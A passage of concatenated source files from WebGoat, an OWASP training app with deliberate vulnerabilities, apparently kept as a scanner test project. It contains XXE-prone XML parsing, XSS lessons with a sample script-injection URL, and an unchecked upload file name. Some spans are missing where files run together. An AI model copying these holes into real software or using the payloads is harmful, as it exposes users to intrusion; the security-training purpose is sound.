0; i < solutions.length; i++) { if (givenAnswers[i].contains(solutions[i])) { // answer correct correctAnswers++; guesses[i] = true; } else { // answer incorrect guesses[i] = false; } } if (correctAnswers == solutions.length) { return success(this).build(); } else { return failed(this).build(); } } @GetMapping("/CrossSiteScripting/quiz") @ResponseBody public boolean[] getResults() { return this.guesses; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xss/DOMCrossSiteScripting.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xss; import java.security.SecureRandom; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class DOMCrossSiteScripting extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/phone-home-xss") @ResponseBody public AttackResult completed( @RequestParam Integer param1, @RequestParam Integer param2, HttpServletRequest request) { UserSessionData userSessionData = getUserSessionData(); SecureRandom number = new SecureRandom(); userSessionData.setValue("randValue", String.valueOf(number.nextInt())); if (param1 == 42 && param2 == 24 && request.getHeader("webgoat-requested-by").equals("dom-xss-vuln")) { return success(this) .output("phoneHome Response is " + userSessionData.getValue("randValue").toString()) .build(); } else { return failed(this).build(); } } } // something like ... // http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere%3Cscript%3Ewebgoat.customjs.phoneHome();%3C%2Fscript%3E--andMoreGarbageHere // or // http://localhost:8080/WebGoat/start.mvc#test/testParam=foobar&_someVar=234902384lotslsfjdOf9889080GarbageHere"; static { comments.add( new Comment( "secUriTy", LocalDateTime.now().format(fmt), "Comment for Unit Testing")); comments.add(new Comment("webgoat", LocalDateTime.now().format(fmt), "This comment is safe")); comments.add(new Comment("guest", LocalDateTime.now().format(fmt), "This one is safe too.")); comments.add( new Comment( "guest", LocalDateTime.now().format(fmt), "Can you post a comment, calling webgoat.customjs.phoneHome() ?")); } // TODO This assignment seems not to be in use in the UI @GetMapping( path = "/CrossSiteScriptingStored/stored-xss", produces = MediaType.APPLICATION_JSON_VALUE, consumes = ALL_VALUE) @ResponseBody public Collection retrieveComments() { List allComments = Lists.newArrayList(); Collection newComments = userComments.get(webSession.getUserName()); allComments.addAll(comments); if (newComments != null) { allComments.addAll(newComments); } Collections.reverse(allComments); return allComments; } // TODO This assignment seems not to be in use in the UI @PostMapping("/CrossSiteScriptingStored/stored-xss") @ResponseBody public AttackResult createNewComment(@RequestBody String commentStr) { Comment comment = parseJson(commentStr); List comments = userComments.getOrDefault(webSession.getUserName(), new ArrayList<>()); comment.setDateTime(LocalDateTime.now().format(fmt)); comment.setUser(webSession.getUserName()); comments.add(comment); userComments.put(webSession.getUserName(), comments); if (comment.getText().contains(phoneHomeString)) { return (success(this).feedback("xss-stored-comment-success").build()); } else { return (failed(this).feedback("xss-stored-comment-failure").build()); } } private Comment parseJson(String comment) { ObjectMapper mapper = new ObjectMapper(); try { return mapper.readValue(comment, Comment.class); } catch (IOException e) { return new Comment(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/BlindSendFileAssignment.java ================================================ package org.owasp.webgoat.lessons.xxe; import static java.nio.charset.StandardCharsets.UTF_8; import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic; import static org.springframework.http.MediaType.ALL_VALUE; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.util.HashMap; import java.util.Map; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.users.WebGoatUser; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

*/ @Slf4j @RestController @AssignmentHints({ "xxe.blind.hints.1", "xxe.blind.hints.2", "xxe.blind.hints.3", "xxe.blind.hints.4", "xxe.blind.hints.5" }) public class BlindSendFileAssignment extends AssignmentEndpoint { private final String webGoatHomeDirectory; private final CommentsCache comments; private final Map userToFileContents = new HashMap<>(); public BlindSendFileAssignment( @Value("${webgoat.user.directory}") String webGoatHomeDirectory, CommentsCache comments) { this.webGoatHomeDirectory = webGoatHomeDirectory; this.comments = comments; } private void createSecretFileWithRandomContents(WebGoatUser user) { var fileContents = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; userToFileContents.put(user, fileContents); File targetDirectory = new File(webGoatHomeDirectory, "/XXE/" + user.getUsername()); if (!targetDirectory.exists()) { targetDirectory.mkdirs(); } try { Files.writeString(new File(targetDirectory, "secret.txt").toPath(), fileContents, UTF_8); } catch (IOException e) { log.error("Unable to write 'secret.txt' to '{}", targetDirectory); } } @PostMapping(path = "xxe/blind", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult addComment(@RequestBody String commentStr) { var fileContentsForUser = userToFileContents.getOrDefault(getWebSession().getUser(), ""); // Solution is posted by the user as a separate comment if (commentStr.contains(fileContentsForUser)) { return success(this).build(); } try { Comment comment = comments.parseXml(commentStr); if (fileContentsForUser.contains(comment.getText())) { comment.setText("Nice try, you need to send the file to WebWolf"); } comments.addComment(comment, false); } catch (Exception e) { return failed(this).output(e.toString()).build(); } return failed(this).build(); } @Override public void initialize(WebGoatUser user) { comments.reset(user); userToFileContents.remove(user); createSecretFileWithRandomContents(user); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/Comment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xxe; import javax.xml.bind.annotation.XmlRootElement; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.NoArgsConstructor; import lombok.Setter; import lombok.ToString; /** * @author nbaars * @since 4/8/17. */ @Getter @Setter @AllArgsConstructor @NoArgsConstructor @XmlRootElement @ToString public class Comment { private String user; private String dateTime; private String text; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsCache.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xxe; import static java.util.Optional.empty; import static java.util.Optional.of; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; import java.io.StringReader; import java.time.LocalDateTime; import java.time.format.DateTimeFormatter; import java.util.ArrayList; import java.util.Comparator; import java.util.HashMap; import java.util.Map; import java.util.Optional; import javax.xml.XMLConstants; import javax.xml.bind.JAXBContext; import javax.xml.bind.JAXBException; import javax.xml.stream.XMLInputFactory; import javax.xml.stream.XMLStreamException; import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.users.WebGoatUser; import org.springframework.context.annotation.Scope; import org.springframework.stereotype.Component; @Component @Scope("singleton") public class CommentsCache { static class Comments extends ArrayList { void sort() { sort(Comparator.comparing(Comment::getDateTime).reversed()); } } private static final Comments comments = new Comments(); private static final Map userComments = new HashMap<>(); private static final DateTimeFormatter fmt = DateTimeFormatter.ofPattern("yyyy-MM-dd, HH:mm:ss"); private final WebSession webSession; public CommentsCache(WebSession webSession) { this.webSession = webSession; initDefaultComments(); } void initDefaultComments() { comments.add(new Comment("webgoat", LocalDateTime.now().format(fmt), "Silly cat....")); comments.add( new Comment( "guest", LocalDateTime.now().format(fmt), "I think I will use this picture in one of my projects.")); comments.add(new Comment("guest", LocalDateTime.now().format(fmt), "Lol!! :-).")); } protected Comments getComments() { Comments allComments = new Comments(); Comments commentsByUser = userComments.get(webSession.getUser()); if (commentsByUser != null) { allComments.addAll(commentsByUser); } allComments.addAll(comments); allComments.sort(); return allComments; } /** * Notice this parse method is not a "trick" to get the XXE working, we need to catch some of the * exception which might happen during when users post message (we want to give feedback track * progress etc). In real life the XmlMapper bean defined above will be used automatically and the * Comment class can be directly used in the controller method (instead of a String) */ protected Comment parseXml(String xml) throws JAXBException, XMLStreamException { var jc = JAXBContext.newInstance(Comment.class); var xif = XMLInputFactory.newInstance(); if (webSession.isSecurityEnabled()) { xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant xif.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant } var xsr = xif.createXMLStreamReader(new StringReader(xml)); var unmarshaller = jc.createUnmarshaller(); return (Comment) unmarshaller.unmarshal(xsr); } protected Optional parseJson(String comment) { ObjectMapper mapper = new ObjectMapper(); try { return of(mapper.readValue(comment, Comment.class)); } catch (IOException e) { return empty(); } } public void addComment(Comment comment, boolean visibleForAllUsers) { comment.setDateTime(LocalDateTime.now().format(fmt)); comment.setUser(webSession.getUserName()); if (visibleForAllUsers) { comments.add(comment); } else { var comments = userComments.getOrDefault(webSession.getUserName(), new Comments()); comments.add(comment); userComments.put(webSession.getUser(), comments); } } public void reset(WebGoatUser user) { comments.clear(); userComments.remove(user); initDefaultComments(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/CommentsEndpoint.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xxe; import java.util.Collection; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 5/4/17. */ @RestController @RequestMapping("xxe/comments") public class CommentsEndpoint { @Autowired private CommentsCache comments; @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public Collection retrieveComments() { return comments.getComments(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/ContentTypeAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xxe; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import javax.servlet.http.HttpServletRequest; import org.apache.commons.exec.OS; import org.apache.commons.lang3.exception.ExceptionUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"}) public class ContentTypeAssignment extends AssignmentEndpoint { private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; private static final String[] DEFAULT_WINDOWS_DIRECTORIES = { "Windows", "Program Files (x86)", "Program Files", "pagefile.sys" }; @Value("${webgoat.server.directory}") private String webGoatHomeDirectory; @Autowired private WebSession webSession; @Autowired private CommentsCache comments; @PostMapping(path = "xxe/content-type") @ResponseBody public AttackResult createNewUser( HttpServletRequest request, @RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception { AttackResult attackResult = failed(this).build(); if (APPLICATION_JSON_VALUE.equals(contentType)) { comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true)); attackResult = failed(this).feedback("xxe.content.type.feedback.json").build(); } if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) { String error = ""; try { Comment comment = comments.parseXml(commentStr); comments.addComment(comment, false); if (checkSolution(comment)) { attackResult = success(this).build(); } } catch (Exception e) { error = ExceptionUtils.getStackTrace(e); attackResult = failed(this).feedback("xxe.content.type.feedback.xml").output(error).build(); } } return attackResult; } private boolean checkSolution(Comment comment) { String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; boolean success = false; for (String directory : directoriesToCheck) { success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); } return success; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/Ping.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xxe; import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @Slf4j public class Ping { @Value("${webgoat.user.directory}") private String webGoatHomeDirectory; @Autowired private WebSession webSession; @RequestMapping(method = RequestMethod.GET) @ResponseBody public String logRequest( @RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) { String logLine = String.format("%s %s %s", "GET", userAgent, text); log.debug(logLine); File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt"); try { try (PrintWriter pw = new PrintWriter(logFile)) { pw.println(logLine); } } catch (FileNotFoundException e) { log.error("Error occurred while writing the logfile", e); } return ""; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/SimpleXXE.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xxe; import static org.springframework.http.MediaType.ALL_VALUE; import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE; import javax.servlet.http.HttpServletRequest; import org.apache.commons.exec.OS; import org.apache.commons.lang3.exception.ExceptionUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 4/8/17. */ @RestController @AssignmentHints({ "xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6" }) public class SimpleXXE extends AssignmentEndpoint { private static final String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; private static final String[] DEFAULT_WINDOWS_DIRECTORIES = { "Windows", "Program Files (x86)", "Program Files", "pagefile.sys" }; @Value("${webgoat.server.directory}") private String webGoatHomeDirectory; @Value("${webwolf.landingpage.url}") private String webWolfURL; @Autowired private CommentsCache comments; @PostMapping(path = "xxe/simple", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult createNewComment(HttpServletRequest request, @RequestBody String commentStr) { String error = ""; try { var comment = comments.parseXml(commentStr); comments.addComment(comment, false); if (checkSolution(comment)) { return success(this).build(); } } catch (Exception e) { error = ExceptionUtils.getStackTrace(e); } return failed(this).output(error).build(); } private boolean checkSolution(Comment comment) { String[] directoriesToCheck = OS.isFamilyMac() || OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES; boolean success = false; for (String directory : directoriesToCheck) { success |= org.apache.commons.lang3.StringUtils.contains(comment.getText(), directory); } return success; } @RequestMapping( path = "/xxe/sampledtd", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE) @ResponseBody public String getSampleDTDFile() { return """ "> %all; """; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/User.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xxe; import javax.xml.bind.annotation.XmlRootElement; @XmlRootElement public class User { private String username = ""; private String password = ""; public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/xxe/XXE.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.xxe; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class XXE extends Lesson { @Override public Category getDefaultCategory() { return Category.A5; } @Override public String getTitle() { return "xxe.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/server/ParentConfig.java ================================================ package org.owasp.webgoat.server; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; @Configuration @ComponentScan("org.owasp.webgoat.server") public class ParentConfig {} ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/server/StartWebGoat.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ *

* Copyright (c) 2002 - 2017 Bruce Mayhew *

* This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. *

* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. *

* You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. *

* Getting Source ============== *

* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software * projects. *

*/ package org.owasp.webgoat.server; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.WebGoat; import org.owasp.webgoat.webwolf.WebWolf; import org.springframework.boot.Banner; import org.springframework.boot.WebApplicationType; import org.springframework.boot.builder.SpringApplicationBuilder; @Slf4j public class StartWebGoat { public static void main(String[] args) { new SpringApplicationBuilder() .parent(ParentConfig.class) .web(WebApplicationType.NONE) .bannerMode(Banner.Mode.OFF) .child(WebGoat.class) .web(WebApplicationType.SERVLET) .sibling(WebWolf.class) .bannerMode(Banner.Mode.OFF) .web(WebApplicationType.SERVLET) .run(args); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/server/StartupMessage.java ================================================ package org.owasp.webgoat.server; import lombok.NoArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.boot.context.event.ApplicationReadyEvent; import org.springframework.context.event.ContextStoppedEvent; import org.springframework.context.event.EventListener; import org.springframework.stereotype.Component; import org.springframework.util.StringUtils; @Component @Slf4j @NoArgsConstructor public class StartupMessage { private String port; private String address; @EventListener void onStartup(ApplicationReadyEvent event) { if (StringUtils.hasText(port) && !StringUtils.hasText(System.getProperty("running.in.docker"))) { log.info("Please browse to http://{}:{}/WebGoat to get started...", address, port); } if (event.getApplicationContext().getApplicationName().contains("WebGoat")) { port = event.getApplicationContext().getEnvironment().getProperty("server.port"); address = event.getApplicationContext().getEnvironment().getProperty("server.address"); } } @EventListener void onShutdown(ContextStoppedEvent event) {} } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/webwolf/FileServer.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.webwolf; import static org.springframework.http.MediaType.ALL_VALUE; import java.io.File; import java.io.IOException; import java.util.ArrayList; import javax.servlet.http.HttpServletRequest; import lombok.AllArgsConstructor; import lombok.Getter; import lombok.extern.slf4j.Slf4j; import org.apache.commons.io.FileUtils; import org.owasp.webgoat.webwolf.user.WebGoatUser; import org.springframework.beans.factory.annotation.Value; import org.springframework.http.MediaType; import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.stereotype.Controller; import org.springframework.ui.ModelMap; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.view.RedirectView; /** Controller for uploading a file */ @Controller @Slf4j public class FileServer { @Value("${webwolf.fileserver.location}") private String fileLocation; @Value("${server.address}") private String server; @Value("${server.port}") private int port; @RequestMapping( path = "/file-server-location", consumes = ALL_VALUE, produces = MediaType.TEXT_PLAIN_VALUE) @ResponseBody public String getFileLocation() { return fileLocation; } @PostMapping(value = "/fileupload") public ModelAndView importFile(@RequestParam("file") MultipartFile myFile) throws IOException { var user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); var destinationDir = new File(fileLocation, user.getUsername()); destinationDir.mkdirs(); myFile.transferTo(new File(destinationDir, myFile.getOriginalFilename())); log.debug("File saved to {}", new File(destinationDir, myFile.getOriginalFilename())); return new ModelAndView( new RedirectView("files", true), new ModelMap().addAttribute("uploadSuccess", "File uploaded successful")); } @AllArgsConstructor @Getter private class UploadedFile { private final String name; private final String size; private final String link; } @GetMapping(value = "/files") public ModelAndView getFiles(HttpServletRequest request) { WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); String username = user.getUsername(); File destinationDir = new File(fileLocation, username); ModelAndView modelAndView = new ModelAndView(); modelAndView.setViewName("files"); File changeIndicatorFile = new File(destinationDir, user.getUsername() + "_changed"); if (changeIndicatorFile.exists()) { modelAndView.addObject("uploadSuccess", request.getParameter("uploadSuccess")); } changeIndicatorFile.delete(); var uploadedFiles = new ArrayList<>(); File[] files = destinationDir.listFiles(File::isFile); if (files 